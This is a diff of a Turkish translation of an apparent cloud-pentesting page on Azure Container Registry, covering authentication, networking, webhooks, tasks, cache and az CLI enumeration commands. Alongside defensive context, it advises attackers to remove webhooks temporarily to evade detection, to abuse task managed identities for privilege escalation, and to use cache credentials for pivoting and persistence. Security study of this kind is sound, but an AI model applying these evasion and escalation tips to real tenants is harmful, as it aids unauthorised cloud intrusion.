Ayrıca atanabilecek bazı **built-in roles** vardır ve **custom roles** oluşturmak da mümkündür. Atanabilecek bazı **built-in role'ler** de vardır ve **custom role'ler** oluşturmak da mümkündür.
![Azure Container Registry built-in roles permissions matrix for managing registry, image, data, policies, and signing actions](/images/registry_roles.png) ![Registry, image, data, policy ve signing işlemlerini yönetmek için Azure Container Registry built-in role permission matrisi](/images/registry_roles.png)
### Authentication ### Authentication
> [!WARNING] > [!WARNING]
> Registry adı büyük harfler içeriyor olsa bile, login, push ve pull image işlemlerinde her zaman **lowercase letters** kullanmanız çok önemlidir. > Registry name bazı uppercase harfler içerse bile login, push ve pull image işlemleri için her zaman **lowercase harfler** kullanmanız çok önemlidir.
Bir ACRye authenticate olmak için 4 yol vardır: Bir ACR üzerinde authentication yapmak için 4 yöntem vardır:
- **Entra ID ile**: Bu, bir ACRye authenticate olmak için **default** yöntemdir. ACRye authenticate olmak için **`az acr login`** komutunu kullanır. Bu komut, kimlik bilgilerini **`~/.docker/config.json`** dosyasında **saklar**. Ayrıca, bu komutu **cloud shell** gibi bir docker socket erişimi olmayan bir ortamdan çalıştırıyorsanız, ACRye authenticate olmak için **token** almak üzere **`--expose-token`** flagini kullanabilirsiniz. Ardından authenticate olmak için kullanıcı adı olarak `00000000-0000-0000-0000-000000000000` kullanmanız gerekir, örneğin: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN` - **Entra ID ile**: Bu, ACR üzerinde authentication yapmak için **varsayılan** yöntemdir. ACR üzerinde authentication yapmak için **`az acr login`** command'ini kullanır. Bu command, **credential'ları** **`~/.docker/config.json`** dosyasında **saklar**. Ayrıca bu command'i docker socket'e erişimi olmayan bir environment'ta, örneğin bir **cloud shell** içinden çalıştırıyorsanız, ACR üzerinde authentication yapmak için gereken **token'ı** almak üzere **`--expose-token`** flag'ini kullanmanız mümkündür. Ardından authentication yapmak için username olarak `00000000-0000-0000-0000-000000000000` kullanmanız gerekir; örneğin: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
- **Admin account ile**: Admin user varsayılan olarak disableddır ancak enabled edilebilir; ardından registryye tam permissions ile admin accountun **username** ve **password**’ü kullanılarak erişmek mümkün olur. Bazı Azure services bunu kullandığı için bu hâlâ supported durumdadır. Bu user için **2 password** oluşturulduğunu ve ikisinin de geçerli olduğunu unutmayın. Bunu `az acr update -n <acrName> --admin-enabled true` ile enabled edebilirsiniz. Usernamein genellikle registry adı olduğunu unutmayın (ve `admin` değil). - **Bir admin account ile**: Admin user varsayılan olarak disabled durumdadır; ancak enable edilebilir. Böylece registry'ye, registry üzerinde full permission'lara sahip admin account'un **username** ve **password** bilgileriyle erişmek mümkün olur. Bazı Azure servisleri bunu kullandığı için hâlâ desteklenmektedir. Bu user için **2 password** oluşturulduğunu ve her ikisinin de geçerli olduğunu unutmayın. Bunu `az acr update -n <acrName> --admin-enabled true` ile enable edebilirsiniz. Username'in genellikle registry name olduğunu (`admin` olmadığını) unutmayın.
- **Token ile**: Registryye erişmek için belirli bir **`scope map`** (permissions) ile bir **token** oluşturmak mümkündür. Ardından token adını username olarak ve oluşturulan passwordlerden herhangi birini kullanarak registryye `docker login -u <registry-name> -p <password> <registry-url>` ile authenticate olmak mümkündür - **Bir token ile**: Registry'ye erişmek için **specific bir `scope map`** (permission'lar) ile bir **token** oluşturmak mümkündür. Ardından registry'ye `docker login -u <registry-name> -p <password> <registry-url>` ile authentication yapmak için token name'i username ve oluşturulan password'lardan herhangi biri olarak kullanılabilir.
- **Service Principal ile**: Bir **service principal** oluşturup image pull etmek için **`AcrPull`** gibi bir role atamak mümkündür. Ardından SP appIdsini username ve oluşturulan secretı password olarak kullanarak **registryye login olmak** mümkün olacaktır. - **Bir Service Principal ile**: Bir **service principal** oluşturmak ve image'ları pull etmek için **`AcrPull`** gibi bir role atamak mümkündür. Ardından SP appId'sini username ve oluşturulan secret'ı password olarak kullanarak **registry'ye login** yapmak mümkün olur.
Registry üzerinde access sağlamak için bir SP oluşturma örnek scripti [docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) içinden: Registry üzerinde erişime sahip bir SP oluşturmak için [docs'tan](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) alınmış örnek script:
```bash ```bash
#!/bin/bash #!/bin/bash
ACR_NAME=$containerRegistry ACR_NAME=$containerRegistry
@@ -49,41 +49,41 @@ USER_NAME=$(az ad sp list --display-name $SERVICE_PRINCIPAL_NAME --query "[].app
echo "Service principal ID: $USER_NAME" echo "Service principal ID: $USER_NAME"
echo "Service principal password: $PASSWORD" echo "Service principal password: $PASSWORD"
``` ```
### Encryption ### Şifreleme
Sadece **Premium SKU**, resimler ve diğer artifactlar için **at rest encryption** destekler. Yalnızca **Premium SKU**, imajlar ve diğer artifact'ler için **at-rest encryption** özelliğini destekler.
### Networking ### Networking
Sadece **Premium SKU**, **private endpoints** destekler. Diğerleri yalnızca **public access** destekler. Bir public endpoint şu formattadır: `<registry-name>.azurecr.io` ve bir private endpoint şu formattadır: `<registry-name>.privatelink.azurecr.io`. Bu nedenle, registry adı tüm Azure genelinde benzersiz olmalıdır. Yalnızca **Premium SKU**, **private endpoints** özelliğini destekler. Diğer SKU'lar yalnızca **public access** destekler. Bir public endpoint `<registry-name>.azurecr.io` formatına, private endpoint ise `<registry-name>.privatelink.azurecr.io` formatına sahiptir. Bu nedenle registry adı tüm Azure genelinde benzersiz olmalıdır.
### Microsoft Defender for Cloud ### Microsoft Defender for Cloud
Bu, registry içindeki **images**ları **vulnerabilities** açısından **scan** etmenizi sağlar. Bu özellik, registry içindeki **imajları vulnerabilities** açısından **scan** etmenizi sağlar.
### Soft-delete ### Soft-delete
**Soft-delete** özelliği, belirtilen gün sayısı içinde **silinen bir registryyi geri yüklemenizi** sağlar. Bu özellik **varsayılan olarak disabled** durumdadır. **Soft-delete** özelliği, silinen bir registry'yi belirtilen gün sayısı içinde **recover** etmenizi sağlar. Bu özellik varsayılan olarak **disabled** durumdadır.
### Webhooks ### Webhooks
Registryler içinde **webhooks oluşturmak** mümkündür. Bu webhookta, bir **push veya delete action** gerçekleştirildiğinde bir **request gönderilecek URL**yi belirtmek gerekir. Ayrıca, Webhooks etkilenecek repositoryleri (images) belirtmek için bir scope tanımlayabilir. Örneğin, `'foo:\*'` repository `'foo'` altındaki events anlamına gelir. Registry'ler içinde **webhooks oluşturmak** mümkündür. Bu webhook'ta, **bir push veya delete action gerçekleştirildiğinde request'in gönderileceği URL'nin** belirtilmesi gerekir. Ayrıca Webhooks, etkilenecek repository'leri (imajları) belirtmek için bir scope tanımlayabilir. Örneğin, `foo:*`, 'foo' repository'si altındaki event'ler anlamına gelir.
Bir attacker açısından, registryde herhangi bir action gerçekleştirmeden **önce bunu kontrol etmek** ve gerektiğinde geçici olarak kaldırmak, tespit edilmemek için önemlidir. Bir attacker açısından, registry'de herhangi bir action gerçekleştirmeden **önce bunu kontrol etmek** ve tespit edilmekten kaçınmak için gerekirse webhook'u geçici olarak kaldırmak ilgi çekicidir.
### Connected registries ### Connected registries
Bu, temelde bir registryden diğerine, genellikle on-premises bulunan bir yere, **images mirror** etmeye yarar. Bu özellik temel olarak **imajları** bir registry'den, genellikle on-premises ortamında bulunan başka bir registry'ye **mirror etmeyi** sağlar.
İki modu vardır: **ReadOnly** ve **ReadWrite**. İlkinde images yalnızca source registryden **pulled** edilir, ikincisinde ise images source registryye **pushed** de edilebilir. İki modu vardır: **ReadOnly** ve **ReadWrite**. İlk modda imajlar yalnızca source registry'den **pull edilir**; ikinci modda ise imajlar source registry'ye **push edilebilir**.
Clientların Azuredan registryye erişebilmesi için, connected registry kullanıldığında bir **token** oluşturulur. Client'ların registry'ye Azure üzerinden erişebilmesi için connected registry kullanıldığında bir **token** oluşturulur.
### Runs & Tasks ### Runs & Tasks
Runs & Tasks, Azure container ile ilgili ve normalde yerelde veya bir CI/CD pipelineda yapmanız gereken actionları çalıştırmanıza olanak tanır. Örneğin, registry içinde **build, push ve run images** yapabilirsiniz. Runs & Tasks, normalde local olarak veya bir CI/CD pipeline'ında gerçekleştirmeniz gereken container ile ilgili action'ları Azure'da yürütmenizi sağlar. Örneğin, registry'de **imajları build edebilir, push edebilir ve çalıştırabilirsiniz**.
Bir containerı build ve run etmenin en kolay yolu, normal bir Run kullanmaktır: Bir container'ı build edip çalıştırmanın en kolay yolu normal bir Run kullanmaktır:
```bash ```bash
# Build # Build
echo "FROM mcr.microsoft.com/hello-world" > Dockerfile echo "FROM mcr.microsoft.com/hello-world" > Dockerfile
@@ -92,20 +92,20 @@ az acr build --image sample/hello-world:v1 --registry mycontainerregistry008 --f
# Run # Run
az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world:v1' /dev/null az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world:v1' /dev/null
``` ```
Ancak bu, bir saldırgan açısından çok ilgi olmayan runsleri tetikleyecektir çünkü bunlara bağlı bir managed identity yoktur. However, bu, attackers açısından çok ilgi çekici olmayan çalıştırmaları tetikler; çünkü bu çalıştırmalara bağlı herhangi bir managed identity bulunmaz.
Ancak, **tasks**lere bir **system ve user managed identity** bağlanabilir. Container içinde **escalate privileges** için yararlı olanlar bunlardır. Privileges escalation bölümünde, privileges escalate etmek için tasks’ın nasıl kullanılacağını görmek mümkündür. Ancak **tasks**, kendilerine bağlı bir **system and user managed identity** barındırabilir. Privilege escalation için kullanışlı olan tasks bunlardır. Privilege escalation bölümünde, privilege escalation için tasks'lerin nasıl kullanılacağını görebilirsiniz.
### Cache ### Cache
Cache özelliği, **harici bir repositoryden images download etmenize** ve yeni sürümleri registry içinde saklamanıza olanak tanır. Bunun için, Azure Vault içinden credentials seçilerek yapılandırılmış bazı **credentials** gerekir. Cache özelliği, **external repository'den image'ları indirmeye** ve yeni sürümleri registry'de depolamaya olanak tanır. Azure Vault'tan credentials seçilerek **yapılandırılmış bazı credentials** bulunmasını gerektirir.
Bu, bir saldırgan açısından çok ilginçtir çünkü saldırgana credentialsa erişmek için yeterli permissions verilmişse **harici bir platforma pivot** yapmaya, **harici bir repositoryden images download etmeye** olanak tanır ve bir cache yapılandırmak aynı zamanda bir **persistence mechanism** olarak da kullanılabilir. Bu, attacker açısından oldukça ilgi çekicidir; çünkü attacker'ın credentials'a erişmek için yeterli permission'ı varsa **external platform'a pivot yapmasına** olanak tanır. **External repository'den image'ları indirmek** ve bir cache yapılandırmak, **persistence mechanism** olarak da kullanılabilir.
## Enumeration ## Enumeration
> [!WARNING] > [!WARNING]
> Registry adı bazı büyük harfler içerse bile, ona erişmek için url içinde yalnızca küçük harfler kullanmanız çok önemlidir. > Registry name'i bazı uppercase harfler içerse bile, registry'ye erişmek için URL'de yalnızca lowercase harfler kullanmanız çok önemlidir.
```bash ```bash
# List of all the registries # List of all the registries
# Check the network, managed identities, adminUserEnabled, softDeletePolicy, url... # Check the network, managed identities, adminUserEnabled, softDeletePolicy, url...
@@ -143,7 +143,7 @@ az acr cache list --registry <registry-name>
# Get cache details # Get cache details
az acr cache show --name <cache-name> --registry <registry-name> az acr cache show --name <cache-name> --registry <registry-name>
``` ```
## Kimliği Doğrulanmamış Erişim ## Kimlik Doğrulamasız Erişim
{{#ref}} {{#ref}}
../az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md ../az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md
@@ -155,7 +155,11 @@ az acr cache show --name <cache-name> --registry <registry-name>
../az-privilege-escalation/az-container-registry-privesc.md ../az-privilege-escalation/az-container-registry-privesc.md
{{#endref}} {{#endref}}
## References {{#ref}}
../az-post-exploitation/az-container-registry-post-exploitation.md
{{#endref}}
## Referanslar
- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli) - [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli)
- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) - [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager)